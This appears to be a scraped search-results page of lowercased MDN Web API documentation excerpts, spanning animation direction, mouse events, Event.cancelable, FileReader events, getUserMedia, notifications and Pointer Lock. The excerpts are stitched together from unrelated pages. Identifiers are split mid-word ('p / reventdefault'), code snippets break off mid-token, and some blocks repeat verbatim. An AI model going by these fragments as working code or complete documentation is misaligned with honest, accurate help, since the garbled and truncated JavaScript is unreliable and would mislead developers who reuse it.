reverse"; value a domstring which specifies the direction in which the animation should play as well as what to do when the playback reaches the end of the animation sequence in the current direction. it can take one of the following values, with the default being "normal": "normal" the animation runs forwards, from beginning to end, in the way we experience the flow of time. "
reverse" the animation runs backwards, or "rewinds." "alternate" the animation switches direction after each iteration, going forward through the animation sequence the first iteration, then backward through the sequence the second iteration, and so forth. ...
...t being "normal": "normal" the animation runs forwards, from beginning to end, in the way we experience the flow of time. "
reverse" the animation runs backwards, or "rewinds." "alternate" the animation switches direction after each iteration, going forward through the animation sequence the first iteration, then backward through the sequence the second iteration, and so forth. "alternate-
reverse" similar to "alternate", except the animation playback starts by going from the end of the animation sequence toward the beginning the first iteration, then goes forward during the second, and so forth. examples in the forgotten key example, alice waves her arm up and down by passing her an alternate value for her direction property: // get alice's arm, and wave it up and down document.g...
Element: mouseenter event - Web APIs
border on the div when the mouse enters the space alloted to it. it then adds an item to the list with the number of the mouseenter or mouseleave event. html <div id='mousetarget'> <ul id="unorderedlist"> <li>no events yet!</li> </ul> </div> css styling the div to make it more visible. ...
...make it more visible. ...
... width:15rem; border:1px solid #333; } javascript var ente
reventcount = 0; var leaveeventcount = 0; const mousetarget = document.getelementbyid('mousetarget'); const unorderedlist = document.getelementbyid('unorderedlist'); mousetarget.addeventlistener('mouseenter', e => { mousetarget.style.border = '5px dotted orange'; ente
reventcount++; addlistitem('this is mouseenter event ' + ente
reventcount + '.'); }); mousetarget.addeventlistener('mouseleave', e => { mousetarget.style.border = '1px solid #333'; leaveeventcount++; addlistitem('this is mouseleave event ' + leaveeventcount + '.'); }); function addlistitem(text) { // create a new text node using the supplied text var newtextnode = document.createtextnode(text); // create a new li element var newlistitem = docum...
Element: mouseleave event - Web APIs
er on the <div> when the mouse enters the space alloted to it. it then adds an item to the list with the number of the mouseenter or mouseleave event. html <div id='mousetarget'> <ul id="unorderedlist"> <li>no events yet!</li> </ul> </div> css styling the <div> to make it more visible. ...
...make it more visible. ...
... width:15rem; border:1px solid #333; } javascript var ente
reventcount = 0; var leaveeventcount = 0; const mousetarget = document.getelementbyid('mousetarget'); const unorderedlist = document.getelementbyid('unorderedlist'); mousetarget.addeventlistener('mouseenter', e => { mousetarget.style.border = '5px dotted orange'; ente
reventcount++; addlistitem('this is mouseenter event ' + ente
reventcount + '.'); }); mousetarget.addeventlistener('mouseleave', e => { mousetarget.style.border = '1px solid #333'; leaveeventcount++; addlistitem('this is mouseleave event ' + leaveeventcount + '.'); }); function addlistitem(text) { // create a new text node using the supplied text var newtextnode = document.createtextnode(text); // create a new li element var newlistitem = docum...
Event.cancelable - Web APIs
the cancelable read-only property of the event interface indicates whether the event can be canceled, and therefore p
revented as if the event never happened. if the event is not cancelable, then its cancelable property will be false and the event listener cannot stop the event from occurring. event listeners that handle multiple kinds of events may want to check cancelable before invoking their p
reventdefault() methods. most browser-native events that can be canceled are the ones that result from the user interacting with the page. canceling the click, scroll, or beforeunload events would p
revent the user from clicking on something, scrolling the page, or navigating away from the page, respectively. custom events created by other javascript code control if they can be canceled when they a...
...ents created by other javascript code control if they can be canceled when they are created. syntax bool = event.cancelable; value the result is a boolean, which is true if the event can be canceled. example for example, browser vendors are proposing that the wheel event can only be canceled the first time the listener is called — any following wheel events cannot be canceled. function p
reventscrollwheel(event) { if (typeof event.cancelable !== 'boolean' || event.cancelable) { // the event can be canceled, so we do so. event.p
reventdefault(); } else { // the event cannot be canceled, so it is not safe // to call p
reventdefault() on it. console.warn(`the following event couldn't be canceled:`); console.dir(event); } } document.addeventlistener('wheel', ...
...ntscrollwheel(event) { if (typeof event.cancelable !== 'boolean' || event.cancelable) { // the event can be canceled, so we do so. event.p
reventdefault(); } else { // the event cannot be canceled, so it is not safe // to call p
reventdefault() on it. console.warn(`the following event couldn't be canceled:`); console.dir(event); } } document.addeventlistener('wheel', p
reventscrollwheel); notes whether an event can be canceled or not is something that's determined when that event is initialized. to cancel an event, call the p
reventdefault() method on the event. this keeps the implementation from executing the default action that is associated with the event. specifications specification status comment domthe definition of 'event.ca...
FetchEvent.respondWith() - Web APIs
you can only return response objects of type "opaqueredirect" if the fetchevent.request object's mode is "manual". you cannot return response objects of type "cors" if the fetchevent.request object's mode is "same-origin". ...
...ng, and allows you to provide a promise for a response yourself. in most cases you can provide any response that the receiver understands. for example, if an <img> initiates the request, the response body needs to be image data. for security reasons, there are a few global rules: you can only return response objects of type "opaque" if the fetchevent.request object's mode is "no-cors". this p
revents the leaking of private data. you can only return response objects of type "opaqueredirect" if the fetchevent.request object's mode is "manual". you cannot return response objects of type "cors" if the fetchevent.request object's mode is "same-origin". specifying the final url of a resource from firefox 59 onwards, when a service worker provides a response to fetchevent.respondwith(), the...
... certain combinations of fetchevent.request.mode and response.type values, as hinted at in the "global rules" listed above. invalidstateerror the event has not been dispatched or respondwithwith() has already been invoked. examples this fetch event tries to return a response from the cache api, falling back to the network otherwise. addeventlistener('fetch', event => { // p
revent the default, and handle the request ourselves. event.respondwith(async function() { // try to get the response from a cache. const cachedresponse = await caches.match(event.request); // return it if we found one. if (cachedresponse) return cachedresponse; // if we didn't find a match in the cache, use the network. return fetch(event.request); }()); }); note: cache...
FileReader: abort event - Web APIs
no interface progressevent event handler property filereader.onabort examples live example html <div class="example"> <div class="file-select"> <label for="avatar">choose a profile picture:</label> <input type="file" id="avatar" name="avatar" accept="image/png, image/jpeg"> </div> <img src="" class="p
review" height="200" alt="image p
review..."> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css img.p
review { margin: 1rem 0; } .event-log-contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .example { display: grid; grid-template-are...
...div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css img.p
review { margin: 1rem 0; } .event-log-contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .example { display: grid; grid-template-areas: "select log" "p
review log"; } .file-select { grid-area: select; } .p
review { grid-area: p
review; } .event-log { grid-area: log; } .event-log>label { display: block; } .event-log-contents { resize: none; } js const fileinput = document.queryselector('input[type="file"]'); const p
review = document.queryselector('img.p
review'); const eventlog = document.queryselector('.event-log-contents'); const rea...
... js const fileinput = document.queryselector('input[type="file"]'); const p
review = document.queryselector('img.p
review'); const eventlog = document.queryselector('.event-log-contents'); const reader = new filereader(); function handleevent(event) { eventlog.textcontent = eventlog.textcontent + `${event.type}: ${event.loaded} bytes transferred\n`; if (event.type === "load") { p
review.src = reader.result; } } function addlisteners(reader) { reader.addeventlistener('loadstart', handleevent); reader.addeventlistener('load', handleevent); reader.addeventlistener('loadend', handleevent); reader.addeventlistener('progress', handleevent); reader.addeventlistener('error', handleevent); reader.addeventlistener('abort', handleevent); } function handlese...
FileReader: load event - Web APIs
e no interface progressevent event handler property filereader.onload examples live example html <div class="example"> <div class="file-select"> <label for="avatar">choose a profile picture:</label> <input type="file" id="avatar" name="avatar" accept="image/png, image/jpeg"> </div> <img src="" class="p
review" height="200" alt="image p
review..."> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css img.p
review { margin: 1rem 0; } .event-log-contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .example { display: grid; grid-template-are...
...div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css img.p
review { margin: 1rem 0; } .event-log-contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .example { display: grid; grid-template-areas: "select log" "p
review log"; } .file-select { grid-area: select; } .p
review { grid-area: p
review; } .event-log { grid-area: log; } .event-log>label { display: block; } .event-log-contents { resize: none; } js const fileinput = document.queryselector('input[type="file"]'); const p
review = document.queryselector('img.p
review'); const eventlog = document.queryselector('.event-log-contents'); const rea...
... js const fileinput = document.queryselector('input[type="file"]'); const p
review = document.queryselector('img.p
review'); const eventlog = document.queryselector('.event-log-contents'); const reader = new filereader(); function handleevent(event) { eventlog.textcontent = eventlog.textcontent + `${event.type}: ${event.loaded} bytes transferred\n`; if (event.type === "load") { p
review.src = reader.result; } } function addlisteners(reader) { reader.addeventlistener('loadstart', handleevent); reader.addeventlistener('load', handleevent); reader.addeventlistener('loadend', handleevent); reader.addeventlistener('progress', handleevent); reader.addeventlistener('error', handleevent); reader.addeventlistener('abort', handleevent); } function handlese...
FileReader: loadend event - Web APIs
no interface progressevent event handler property filereader.onloadend examples live example html <div class="example"> <div class="file-select"> <label for="avatar">choose a profile picture:</label> <input type="file" id="avatar" name="avatar" accept="image/png, image/jpeg"> </div> <img src="" class="p
review" height="200" alt="image p
review..."> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css img.p
review { margin: 1rem 0; } .event-log-contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .example { display: grid; grid-template-are...
...div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css img.p
review { margin: 1rem 0; } .event-log-contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .example { display: grid; grid-template-areas: "select log" "p
review log"; } .file-select { grid-area: select; } .p
review { grid-area: p
review; } .event-log { grid-area: log; } .event-log>label { display: block; } .event-log-contents { resize: none; } js const fileinput = document.queryselector('input[type="file"]'); const p
review = document.queryselector('img.p
review'); const eventlog = document.queryselector('.event-log-contents'); const rea...
... js const fileinput = document.queryselector('input[type="file"]'); const p
review = document.queryselector('img.p
review'); const eventlog = document.queryselector('.event-log-contents'); const reader = new filereader(); function handleevent(event) { eventlog.textcontent = eventlog.textcontent + `${event.type}: ${event.loaded} bytes transferred\n`; if (event.type === "load") { p
review.src = reader.result; } } function addlisteners(reader) { reader.addeventlistener('loadstart', handleevent); reader.addeventlistener('load', handleevent); reader.addeventlistener('loadend', handleevent); reader.addeventlistener('progress', handleevent); reader.addeventlistener('error', handleevent); reader.addeventlistener('abort', handleevent); } function handlese...
FileReader: loadstart event - Web APIs
no interface progressevent event handler property filereader.onloadstart examples live example html <div class="example"> <div class="file-select"> <label for="avatar">choose a profile picture:</label> <input type="file" id="avatar" name="avatar" accept="image/png, image/jpeg"> </div> <img src="" class="p
review" height="200" alt="image p
review..."> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css img.p
review { margin: 1rem 0; } .event-log-contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .example { display: grid; grid-template-are...
...div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css img.p
review { margin: 1rem 0; } .event-log-contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .example { display: grid; grid-template-areas: "select log" "p
review log"; } .file-select { grid-area: select; } .p
review { grid-area: p
review; } .event-log { grid-area: log; } .event-log>label { display: block; } .event-log-contents { resize: none; } js const fileinput = document.queryselector('input[type="file"]'); const p
review = document.queryselector('img.p
review'); const eventlog = document.queryselector('.event-log-contents'); const rea...
... js const fileinput = document.queryselector('input[type="file"]'); const p
review = document.queryselector('img.p
review'); const eventlog = document.queryselector('.event-log-contents'); const reader = new filereader(); function handleevent(event) { eventlog.textcontent = eventlog.textcontent + `${event.type}: ${event.loaded} bytes transferred\n`; if (event.type === "load") { p
review.src = reader.result; } } function addlisteners(reader) { reader.addeventlistener('loadstart', handleevent); reader.addeventlistener('load', handleevent); reader.addeventlistener('loadend', handleevent); reader.addeventlistener('progress', handleevent); reader.addeventlistener('error', handleevent); reader.addeventlistener('abort', handleevent); } function handlese...
FileReader: progress event - Web APIs
no interface progressevent event handler property filereader.onprogress examples live example html <div class="example"> <div class="file-select"> <label for="avatar">choose a profile picture:</label> <input type="file" id="avatar" name="avatar" accept="image/png, image/jpeg"> </div> <img src="" class="p
review" height="200" alt="image p
review..."> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css img.p
review { margin: 1rem 0; } .event-log-contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .example { display: grid; grid-template-are...
...div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css img.p
review { margin: 1rem 0; } .event-log-contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .example { display: grid; grid-template-areas: "select log" "p
review log"; } .file-select { grid-area: select; } .p
review { grid-area: p
review; } .event-log { grid-area: log; } .event-log>label { display: block; } .event-log-contents { resize: none; } js const fileinput = document.queryselector('input[type="file"]'); const p
review = document.queryselector('img.p
review'); const eventlog = document.queryselector('.event-log-contents'); const rea...
... js const fileinput = document.queryselector('input[type="file"]'); const p
review = document.queryselector('img.p
review'); const eventlog = document.queryselector('.event-log-contents'); const reader = new filereader(); function handleevent(event) { eventlog.textcontent = eventlog.textcontent + `${event.type}: ${event.loaded} bytes transferred\n`; if (event.type === "load") { p
review.src = reader.result; } } function addlisteners(reader) { reader.addeventlistener('loadstart', handleevent); reader.addeventlistener('load', handleevent); reader.addeventlistener('loadend', handleevent); reader.addeventlistener('progress', handleevent); reader.addeventlistener('error', handleevent); reader.addeventlistener('abort', handleevent); } function handlese...
FileSystemDirectoryReader.readEntries() - Web APIs
directoryreader.readentries() is called to read in all the entries in the directory. these are each, in turn, passed into a recursive call to scanfiles() to process them. any of them which are files are simply inserted into the list; any which are directories are inserted into the list and a new level of the list's hierarchy is added below, and so forth. then come the event handlers. ...
...em which are files are simply inserted into the list; any which are directories are inserted into the list and a new level of the list's hierarchy is added below, and so forth. then come the event handlers. ...
...t the dragover event from being handled by the default handler, so that our drop zone can receive the drop: dropzone.addeventlistener("dragover", function(event) { event.p
reventdefault(); }, false); the event handler that kicks everything off, of course, is the handler for the drop event: dropzone.addeventlistener("drop", function(event) { let items = event.datatransfer.items; event.p
reventdefault(); listing.innerhtml = ""; for (let i=0; i<items.length; i++) { let item = items[i].webkitgetasentry(); if (item) { scanfiles(item, listing); } } }, false); this fetches the list of datatransferitem objects representing the items dropped from event.datatransfer.items. then we call event.p
reventdefault() to p
revent the event from being handled further after w...
Introduction to the File and Directory Entries API - Web APIs
imited and can be deleted by the browser when it runs out of space. persistent storage, on the other hand, might offer you larger space that can only be deleted by the user, but it requires the user to grant you permission. use temporary storage for caching and persistent storage for data that you want your app to keep—such as user-generated or unique data. browsers impose storage quotas to p
revent a web app from using up the entire disk, browsers might impose a quota for each app and allocate storage among web apps. how storage space is granted or allocated and how you can manage storage are idiosyncratic to the browser, so you need to check the respective documentation of the browser. google chrome, for example, allows temporary storage beyond the 5 mb required in the specifications a...
...reate and rename executable files the file system is sandboxed you cannot run your app from file:// the file and directory entries api adheres to the same-origin policy an origin is the domain, application layer protocol, and port of a url of the document where the script is being executed. each origin has its own associated set of file systems. the security boundary imposed on file system p
revents applications from accessing data with a different origin. this protects private data by p
reventing access and deletion. for example, while an app or a page in http://www.example.com/app/ can access files from http://www.example.com/dir/, because they have the same origin, it cannot retrieve files from http://www.example.com:8080/dir/ (different port) or https://www.example.com/dir/ (different...
...ccess and deletion. for example, while an app or a page in http://www.example.com/app/ can access files from http://www.example.com/dir/, because they have the same origin, it cannot retrieve files from http://www.example.com:8080/dir/ (different port) or https://www.example.com/dir/ (different protocol). the file and directory entries api does not let you create and rename executable files to p
revent malicious apps from running hostile executables, you cannot create executable files within the sandbox of the file and directory entries api. the file system is sandboxed because the file system is sandboxed, a web app cannot access another app's files. you also cannot read or write files to an arbitrary folder (for example, my pictures and my documents) on the user's hard drive. you canno...
Using FormData Objects - Web APIs
you can also append a file or blob directly to the formdata object, like this: data.append("myfile", myblob, "filename.txt"); when using the append() method it is possible to use the third optional parameter to pass a fil...
...e triggered by the invocation of a formdata() constructor. this allows a formdata object to be quickly obtained in response to a formdata event firing, rather than needing to put it together yourself. ...
...er yourself. typically this is used as shown in our simple formdata event demo — in the javascript we reference a form: const formelem = document.queryselector('form'); in our submit event handler we use p
reventdefault to stop the default form submission, then invoke a formdata constructor to trigger the formdata event: formelem.addeventlistener('submit', (e) => { // on form submission, p
revent default e.p
reventdefault(); // construct a formdata object, which fires the formdata event new formdata(formelem); }); when the formdata event fires we can access the formdata object using formdataevent.formdata, then do what we like with it (below we post it to the server using xmlhttprequest). formelem.addeventlistener('formdata', (e) => { console.log('formdata fired'); // get ...
GlobalEventHandlers.onerror - Web APIs
the onerror property of the globaleventhandlers mixin is an eventhandler that processes error events. error events are fired at various targets for different kinds of errors: when a javascript runtime error (including syntax errors and exceptions thrown within handlers) occurs, an error event using interface erro
revent is fired at window and window.onerror() is invoked (as well as handlers attached by window.addeventlistener (not only capturing)). when a resource (such as an <img> or <script>) fails to load, an error event using interface event is fired at the element that initiated the load, and the onerror() handler on the element is invoked. these error events do not bubble up to window, but (at least in firefox) can be handled with a window.addeventlistener configured with usecaptur...
...ineno, colno, error) { ... }; function parameters: message: error message (string). available as event (sic!) in html onerror="" handler. source: url of the script where the error was raised (string) lineno: line number where error was raised (number) colno: column number for the line where the error occurred (number) error: error object (object) when the function returns true, this p
revents the firing of the default event handler. window.addeventlistener('error') window.addeventlistener('error', function(event) { ... }) event of type erro
revent contains all the information about the event and the error. element.onerror element.onerror = function(event) { ... } element.onerror accepts a function with a single argument of type event. a good example for this is when you ar...
...e on the server for any reason. <img src="imagenotfound.gif" onerror="this.onerror=null;this.src='imagefound.gif';" /> the reason we have the this.onerror=null in the function is that the browser will be stuck in an endless loop if the onerror image itself generates an error. notes when an error occurs in a script, loaded from a different origin, the details of the error are not reported to p
revent leaking information (see bug 363897). instead the error reported is simply "script error." this behavior can be overriden in some browsers using the crossorigin attribute on <script> and having the server send the appropriate cors http response headers. a workaround is to isolate "script error." and handle it knowing that the error detail is only viewable in the browser console and not access...
HTMLElement.oncut - Web APIs
le this example allows text to be copied from the <textarea>, but doesn't allow text to be cut. it also logs each copy and cut attempt. ...
... to be copied from the <textarea>, but doesn't allow text to be cut. it also logs each copy and cut attempt. ...
...e text in this field!</textarea> <h3>log:</h3> <p id="log"></p> javascript function logcopy(event) { log.innertext = 'copied!\n' + log.innertext; } function p
reventcut(event) { event.p
reventdefault(); log.innertext = 'cut blocked!\n' + log.innertext; } const editor = document.getelementbyid('editor'); const log = document.getelementbyid('log'); editor.oncopy = logcopy; editor.oncut = p
reventcut; result specification whatwg standard ...
HTMLElement.focus() - Web APIs
mlelement.focus() method sets focus on the specified element, if it can be focused. the focused element is the element which will receive keyboard and similar events by default. syntax element.focus(options); // object parameter parameters options optional an optional object providing options to control aspects of the focusing process. this object may contain the following property: p
reventscroll optional a boolean value indicating whether or not the browser should scroll the document to bring the newly-focused element into view. a value of false for p
reventscroll (the default) means that the browser will scroll the element into view after focusing it. if p
reventscroll is set to true, no scrolling will occur. examples focus on a text field javascript focusmethod = func...
...focusmethod = function getfocus() { document.getelementbyid("mybutton").focus(); } html <button type="button" id="mybutton">click me!</button> <p></p> <button type="button" onclick="focusmethod()">click me to focus on the button!</button> result focus with focusoption javascript focusscrollmethod = function getfocus() { document.getelementbyid("mybutton").focus({p
reventscroll:false}); } focusnoscrollmethod = function getfocuswithoutscrolling() { document.getelementbyid("mybutton").focus({p
reventscroll:true}); } html <button type="button" onclick="focusscrollmethod()">click me to focus on the button!</button> <button type="button" onclick="focusnoscrollmethod()">click me to focus on the button without scrolling!</button> <div id="container" st...
...s' in that specification. recommendation document object model (dom) level 2 html specificationthe definition of 'focus' in that specification. obsolete document object model (dom) level 1 specificationthe definition of 'focus' in that specification. obsolete notes if you call htmlelement.focus() from a mousedown event handler, you must call event.p
reventdefault() to keep the focus from leaving the htmlelement behaviour of the focus in relation to different html features like tabindex or shadow dom, which p
reviously remained under-specified, were recently updated (as october of 2019). checkout whatwg blog for more info. ...
IDBCursor.direction - Web APIs
enum) indicating the direction in which the cursor is traversing the data. possible values are: value description next this direction causes the cursor to be opened at the start of the source. nextunique this direction causes the cursor to be opened at the start of the source. for every key with duplicate values, only the first record is yielded. p
rev this direction causes the cursor to be opened at the end of the source. p
revunique this direction causes the cursor to be opened at the end of the source. for every key with duplicate values, only the first record is yielded. example in this simple fragment we create a transaction, retrieve an object store, then use a cursor to iterate through all the records in the o...
...e this direction causes the cursor to be opened at the end of the source. for every key with duplicate values, only the first record is yielded. example in this simple fragment we create a transaction, retrieve an object store, then use a cursor to iterate through all the records in the object store. within each iteration we log the direction of the cursor, something like this: p
rev note: we can't change the direction of travel of the cursor using the direction property, as it is read-only. we specify the direction of travel using the 2nd argument of idbobjectstore.opencursor. the cursor does not require us to select the data based on a key; we can just grab all of it. also note that in each iteration of the loop, you can grab data from the current record under the cur...
...teration of the loop, you can grab data from the current record under the cursor object using cursor.value.foo. ...
KeyboardEvent: code values - Web APIs
"" 0x007d "intlyen" "intlyen" 0x007e "numpadcomma" "" 0x007f "unidentified" "" 0xe000 ~ 0xe007 "unidentified" "" 0xe008 "unidentified" "undo" 0xe009 "unidentified" "" 0xe00a "" "paste" 0xe00b ~ 0xe00f "" "" 0xe010 "mediatrackp
revious" "mediatrackp
revious" 0xe011 ~ 0xe016 "" "" 0xe017 "unidentified" "cut" 0xe018 "unidentified" "copy" 0xe019 "mediatracknext" "mediatracknext" 0xe01a, 0xe01b "unidentified" "" 0xe01c "numpadenter" "numpadenter" 0xe01d "controlright" "controlright" 0x...
... "browserfavorites" "" 0x00a5 "unidentified" "" 0x00a6 "browserback" "browserback" 0x00a7 "browserforward" "browserforward" 0x00a8 "unidentified" "" 0x00a9 "eject" "" 0x00aa "unidentified" "" 0x00ab "mediatracknext" "" 0x00ac "mediaplaypause" "" 0x00ad "mediatrackp
revious" "" 0x00ae "mediastop" "" 0x00af ~ 0x00b2 "unidentified" "" 0x00b3 "launchmediaplayer" "" 0x00b4 "browserhome" "" 0x00b5 "browserrefresh" "browserrefresh" 0x00b6 ~ 0x00ba "unidentified" "" 0x00bb "unidentified" "numpadparenleft" 0x00bc "unidentified" ...
...0x009b "unidentified" 0x009c "browserfavorites" 0x009d "unidentified" 0x009e "browserback" 0x009f "browserforward" 0x00a0 "unidentified" 0x00a1 "eject" 0x00a2 "unidentified" 0x00a3 "mediatracknext" 0x00a4 "mediaplaypause" 0x00a5 "mediatrackp
revious" 0x00a6 "mediastop" 0x00a7 ~ 0x00ac "unidentified" 0x00ad "browserrefresh" 0x00ae ~ 0x00b6 "unidentified" 0x00b7 "f13" 0x00b8 "f14" 0x00b9 "f15" 0x00ba "f16" 0x00bb "f17" 0x00bc "f18" 0x00bd "f19" 0x00be "f20" 0x00bf "f21" ...
KeyboardEvent.key - Web APIs
these events get mapped to dom keyboard events, and are listed among the "virtual key codes" for windows, even though they aren't actually key codes. if the key cannot be identified, the returned value is unidentified. keyboardevent sequence every keyboardevent is fired in a pre-determined sequence. for a given key press, the sequence of keyboardevents fired is as follows assuming that event.p
reventdefault is not called: a keydown event is first fired. if the key is held down further and the key produces a character key, then the event continues to be emitted in a platform implementation dependent interval and the keyboardevent.repeat read only property is set to true. if the key produces a character key that would result in a character being inserted into possibly an <input>, <textar...
...ample this example uses eventtarget.addeventlistener() to listen for keydown events. when they occur, the key's value is checked to see if it's one of the keys the code is interested in, and if it is, it gets processed in some way (possibly by steering a spacecraft, perhaps by changing the selected cell in a spreadsheet). window.addeventlistener("keydown", function (event) { if (event.defaultp
revented) { return; // do nothing if the event was already processed } switch (event.key) { case "down": // ie/edge specific value case "arrowdown": // do something for "down arrow" key press. break; case "up": // ie/edge specific value case "arrowup": // do something for "up arrow" key press. break; case "left": // ie/edge specific value case ...
... for "right arrow" key press. break; case "enter": // do something for "enter" or "return" key press. break; case "esc": // ie/edge specific value case "escape": // do something for "esc" key press. break; default: return; // quit when this doesn't handle the key event. } // cancel the default action to avoid it being handled twice event.p
reventdefault(); }, true); specification specification status comment ui eventsthe definition of 'keyboardevent.key' in that specification. working draft document object model (dom) level 3 events specificationthe definition of 'keyboardevent.key' in that specification. obsolete initial definition, included key values. ...
MediaDevices.getUserMedia() - Web APIs
the requested media has successfully been obtained. exceptions rejections of the returned promise are made by passing a domexception error object to the promise's failure handler. possible errors are: aborterror although the user and operating system both granted access to the hardware device, and no hardware issues occurred that would cause a notreadableerror, some problem occurred which p
revented the device from being used. notallowederror one or more of the requested source devices cannot be used at this time. this will happen if the browsing context is insecure (that is, the page was loaded using http rather than https). it also happens if the user has specified that the current browsing instance is not permitted access to the device, the user has denied access for the current se...
...source(s). older versions of the specification used securityerror for this instead; securityerror has taken on a new meaning. notfounderror no media tracks of the type specified were found that satisfy the given constraints. notreadableerror although the user granted permission to use the matching devices, a hardware error occurred at the operating system, browser, or web page level which p
revented access to the device. overconstrainederror the specified constraints resulted in no candidate devices which met the criteria requested. the error is an object of type overconstrainederror, and has a constraint property whose string value is the name of a constraint which was impossible to meet, and a message property containing a human-readable string explaining the problem. because this ...
....mediadevices is undefined in an insecure context. privacy and security as an api that may involve significant privacy concerns, getusermedia()'s specification lays out a wide array of privacy and security requirements that browsers are obligated to meet. getusermedia() is a powerful feature which can only be used in secure contexts; in insecure contexts, navigator.mediadevices is undefined, p
reventing access to getusermedia(). a secure context is, in short, a page loaded using https or the file:/// url scheme, or a page loaded from localhost. in addition, user permission is always required to access the user's audio and video inputs. only a window's top-level document context for a valid origin can even request permission to use getusermedia(), unless the top-level context expressly gra...
MediaSession.setActionHandler() - Web APIs
ia session action. these actions let a web app receive notifications when the user engages a device's built-in physical or onscreen media controls, such as play, stop, or seek buttons. syntax navigator.mediasession.setactionhandler(type, callback) parameters type a domstring representing an action type to listen for. ...
... listen for. it will be one of play, pause, seekbackward, seekforward, seekto, skipad,p
revioustrack, or nexttrack. further details on the action types can be found below under media session actions. callback a function to call when the specified action type is invoked. the callback receives no input parameters, and should not return a value. return value undefined. description to remove a p
reviously-established action handler, call setactionhandler() again, specifying null as the callback. the action handler receives as input a single parameter: an object conforming to the mediasessionactiondetails dictionary, which provides both the action type (so the same function can handle multiple action types), as well as data needed in order to perform the action. media session actions a med...
...ed type. values each of the actions is a common media session control request. implement support for each of these in order to allow that type of action to be performed. the following strings identify the currently available types of media session action: nexttrack advances playback to the next track. pause pauses playback of the media. play begins (or resumes) playback of the media. p
revioustrack moves back to the p
revious track. seekbackward seeks backward through the media from the current position. seekforward seeks forward from the current position through the media. seekto moves the playback position to the specified time within the media. skipad skips past the currently playing advertisement or commercial. this action may or may not be available, depending on the p...
MouseEvent - Web APIs
event was fired. mouseevent.which read only the button being pressed when the mouse event was fired. mouseevent.mozpressure read only the amount of pressure applied to a touch or tablet device when generating the event; this value ranges between 0.0 (minimum pressure) and 1.0 (maximum pressure). instead of using this deprecated (and non-standard) property, you should instead use pointe
revent and look at its pressure property. mouseevent.mozinputsource read only the type of device that generated the event (one of the moz_source_* constants listed below). this lets you, for example, determine whether a mouse event was generated by an actual mouse or by a touch event (which might affect the degree of accuracy with which you interpret the coordinates associated with the event). ...
... working draft re...
...n">click me</button> javascript function simulateclick() { var evt = new mouseevent("click", { bubbles: true, cancelable: true, view: window }); var cb = document.getelementbyid("checkbox"); //element to click on var canceled = !cb.dispatchevent(evt); if(canceled) { // a handler called p
reventdefault alert("canceled"); } else { // none of the handlers called p
reventdefault alert("not canceled"); } } document.getelementbyid("button").addeventlistener('click', simulateclick); result specifications specification status comment css object model (cssom) view modulethe definition of 'mouseevent' in that specification. working draft redefines mouseevent from long to double. this means that a pointe
revent whose pointer...
Using the Notifications API - Web APIs
ame>s. checking current permission status you can check to see if you already have permission by checking the value of the notification.permission read only property. it can have one of three possible values: default the user hasn't been asked for permission yet, so notifications won't be displayed. granted the user has granted permission to display notifications, after having been asked p
reviously. denied the user has explicitly declined permission to show notifications. getting permission if permission to display notifications hasn't been granted yet, the application needs to use the notification.requestpermission() method to request this from the user. in its simplest form, we just include the following: notification.requestpermission().then(function(result) { console.log(r...
...ventlistener('visibilitychange', function() { if (document.visibilitystate === 'visible') { // the tab has become visible so clear the now-stale notification. n.close(); } }); note: this api shouldn't be used just to have the notification removed from the screen after a fixed delay (on modern browsers) since this method will also remove the notification from any notification tray, p
reventing users from interacting with it after it was initially shown. note: when you receive a "close" event, there is no guarantee that it's the user who closed the notification. this is in line with the specification, which states: "when a notification is closed, either by the underlying notifications platform or by the user, the close steps for it must be run." notification events there are...
...ng message, and they were being sent a lot? to avoid spamming the user with too many notifications, it's possible to modify the pending notifications queue, replacing single or multiple pending notifications with a new one. to do this, it's possible to add a tag to any new notification. if a notification already has the same tag and has not been displayed yet, the new notification replaces that p
revious notification. if the notification with the same tag has already been displayed, the p
revious notification is closed and the new one is displayed. tag example assume the following basic html: <button>notify me!</button> it's possible to handle multiple notifications this way: window.addeventlistener('load', function () { // at first, let's check if we have permission for notification ...
PerformanceNavigationTiming.unloadEventEnd - Web APIs
example the following example illustrates this property's usage. ...
... example the following example illustrates this property's usage. ...
... example the following example illustrates this property's usage. ...
Pointer Lock API - Web APIs
ock(). as it has recently unprefixed, you would currently declare it something like this, for example if you wanted to request pointer lock on a canvas element: canvas.requestpointerlock = canvas.requestpointerlock || canvas.mozrequestpointerlock; canvas.requestpointerlock() if a user has exited pointer lock via the default unlock gesture, or pointer lock has not p
reviously been entered for this document, an event generated as a result of an engagement gesture must be received by the document before requestpointerlock will succeed. (from https://w3c.github.io/pointerlock/#extensions-to-the-element-interface) pointerlockelement and exitpointerlock() the pointer lock api also extends the document interface, adding both a new property and a new method. the new...
...ons to mouse events the pointer lock api extends the normal mouseevent interface with movement attributes. two new attributes to mouse events—movementx and movementy—provide the change in mouse positions. the values of the parameters are the same as the difference between the values of mouseevent properties, screenx and screeny, which are stored in two subsequent mousemove events, enow and ep
revious. in other words, the pointer lock parameter movementx = enow.screenx - ep
